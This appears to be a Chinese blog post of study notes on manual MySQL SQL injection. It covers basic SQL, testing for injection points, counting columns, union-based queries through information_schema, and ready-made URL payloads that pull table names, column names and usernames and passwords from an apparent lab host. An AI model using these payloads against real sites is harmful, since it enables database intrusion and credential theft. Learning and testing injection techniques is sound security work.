SQL手工注入

1.信息收集

​    Show databases;

​    Use 数据库名

​    Show tables;

 

 2.SQL语句基础

查询所有数据库名称

show databases;

选中某个数据库

use 数据名字

查询数据库中所有的表

show tables;

查询表中所有数据 * 代表所有

select * from 表名

条件查询表中数据 where  条件 成立才会执行  if

select 字段名 from 表名 where xx = xx;

合并/联合查询 字段数量要相同

select 字段名 from 表名 union select 字段名 from 表名

 3.MYSQL手工注入流程

1.判断注入点

  And 1 = 1

  And 1 =2 

 乱输入测试是否有注入点

2.猜解列名数量(字段数) order by x  错误与正常

3.报错猜解   

Id= -1 union select 1,2,3,4

4.判断回显点

5.信息收集

数据库版本 version()

数据库名 database()

数据库用户 user()

操作系统 @@version_compile_os

 4.MYSQL系统库释义 

1.在mysql5.0版本以上,mysql自带一个数据库information_schema

2.数据库中符号”.”代表下一级 user.name

Information_schema.tables  记录所有表名信息的表

Information_schema.columns 记录所有列名信息的表

Table_name :表名

Column_name: 列名

Table_schema:数据库名

查询指定A数据库名 下的表名信息:p   

http://219.153.49.228:46993/new_list.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+

 union select 1,group_concat(table_name),3,4 from information_schema.tables 
where table_schema=database()

查询指定表名表下列的信息

http://219.153.49.228:46993/new_list.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'

查询指定数据  name password

http://219.153.49.228:46993/new_list.php?id=-1 union select 1,username,password from  users limit 1,1--+

union SELECT 1,2,(select group_concat(name,password) from users),4

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ltachl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值